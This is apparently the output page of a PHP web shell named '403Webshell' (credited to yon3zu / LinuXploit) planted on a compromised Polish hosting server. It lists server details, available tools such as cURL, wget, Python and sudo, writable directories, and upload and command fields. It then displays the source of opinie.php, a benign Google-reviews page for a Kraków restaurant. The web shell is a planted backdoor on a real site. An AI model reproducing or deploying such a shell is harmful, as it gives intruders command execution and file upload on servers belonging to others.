403Webshell
Server IP : 188.114.97.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/opinie.php
<?php
declare(strict_types=1);
require_once __DIR__.'/includes/functions.php';
require_once __DIR__.'/includes/opinie_simple.php';

$title='Opinie Google – Moja Polana Smaków | Kraków';
$description='Przeczytaj opinie gości restauracji Moja Polana Smaków lub wystaw swoją opinię w Google.';
$canonical='/opinie';
$writeUrl='/opinia'; // istniejący przekierowujący endpoint do wystawiania opinii
$source=function_exists('polana_google_review_url') ? polana_google_review_url() : '';
$readUrl='';
if (is_string($source) && preg_match('~^https://g\.page/r/[A-Za-z0-9_-]+/review/?(?:\?.*)?$~', $source)) {
    $readUrl=(string)preg_replace('~/review/?(?:\?.*)?$~','',$source);
}
if ($readUrl==='') {
    // Bez identyfikatora profilu: otwórz wyszukiwarkę Map zamiast wymyślać Place ID.
    $readUrl='https://www.google.com/maps/search/?api=1&query='.rawurlencode('Moja Polana Smaków Bożego Ciała 15 Kraków');
}
render_public_head($title,$description,$canonical);
render_public_header('');
?>
<main class="google-reviews-page" id="opinie-google">
 <section class="google-reviews-page__hero" style="padding:clamp(35px,7vw,85px) 16px;">
  <div class="google-reviews-page__inner" style="max-width:920px;margin:auto;text-align:center;">
   <p class="google-reviews-strip__eyebrow">Moja Polana Smaków</p>
   <h1>Opinie naszych gości</h1>
   <p>Podziel się wrażeniami z wizyty lub przeczytaj opinie bezpośrednio w Google.</p>
   <div style="display:flex;flex-wrap:wrap;gap:12px;align-items:center;justify-content:center;margin-top:28px;">
    <a class="google-review-btn google-review-btn--primary" href="<?= htmlspecialchars($writeUrl,ENT_QUOTES,'UTF-8') ?>" rel="nofollow">Wystaw opinię</a>
    <a class="google-review-btn google-review-btn--secondary" href="<?= htmlspecialchars($readUrl,ENT_QUOTES,'UTF-8') ?>" target="_blank" rel="noopener noreferrer nofollow">Przeczytaj opinie</a>
   </div>
  </div>
 </section>
</main>
<?php render_public_footer(); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit